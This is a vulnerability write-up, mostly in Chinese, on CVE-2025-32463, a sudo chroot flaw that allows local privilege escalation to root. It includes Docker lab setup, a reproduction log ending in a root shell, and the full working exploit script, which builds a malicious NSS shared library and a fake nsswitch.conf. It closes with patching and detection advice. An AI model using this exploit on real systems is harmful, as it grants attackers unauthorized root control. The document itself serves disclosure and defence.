跳转至

CVE-2025-32463(Chroot 隔离失效)

漏洞描述

stratascale在公告中表示："攻击者可利用sudo的-R（--chroot）选项以root身份执行任意命令，即使这些命令未列在sudoers文件中"。

问题的根源在于Sudo从1.9.14版开始实现chroot()的方式。该工具开始在评估sudoers文件之前解析chroot环境中的路径。这意味着攻击者可以诱骗Sudo读取伪造的/etc/nsswitch.conf文件——该文件会指示加载恶意共享库如libnss_/woot1337.so.2。诱骗的结果就是，无需sudoers权限即可以 root 身份执行任意代码**。**

影响版本

Sudo 1.9.14至1.9.17全系列

Note: The legacy versions of Sudo (currently <= 1.8.32) are not vulnerable because the chroot feature does not exist.

环境配置

pr0v3rbs/CVE-2025-32463_chwoot: sudo Local Privilege Escalation CVE-2025-32463

Bash
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot

# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh

image-20250702145125376

漏洞复现

Bash
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
  • Exploit
Bash
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

漏洞原理

Key Details

Delivery Method: Local execution by authenticated users Target: Unix and Linux systems using affected sudo versions

Functions:

  • Unauthorized root shell access
  • Host-based rule bypass
  • Sudoers privilege enumeration
  • Arbitrary command execution as root
  • Configuration exploitation via NSS loading

Obfuscation: None required. Exploits involve misuse of command-line flags and crafted configuration files.

CVE-2025-32463 Privilege Escalation in SUDO Triggers Urgent Linux Patching

Critical Sudo Flaw (CVE-2025-32463, CVSS 9.3): Root Privilege Escalation & Host Bypass, PoC Available

Stratascale

修复建议

  • Install the latest sudo packages for your system. No workaround exists for this issue.
  • The chroot option is now deprecated as of 1.9.17p1. It is recommended to avoid using the chroot options, as this could unintentionally make your environment less secure if not implemented properly.
  • Search your environment for any use of the chroot option. Review all Sudo rules defined in /etc/sudoers, and files under /etc/sudoers.d. If the Sudo rules are stored in LDAP, use tools such as ldapsearch to dump the rules.
  • Look for the use of the runchroot= option or CHROOT= directive in the individual rules.
  • You can search for sudo entries in the syslog. Any commands using chroot will be logged with the CHROOT= string.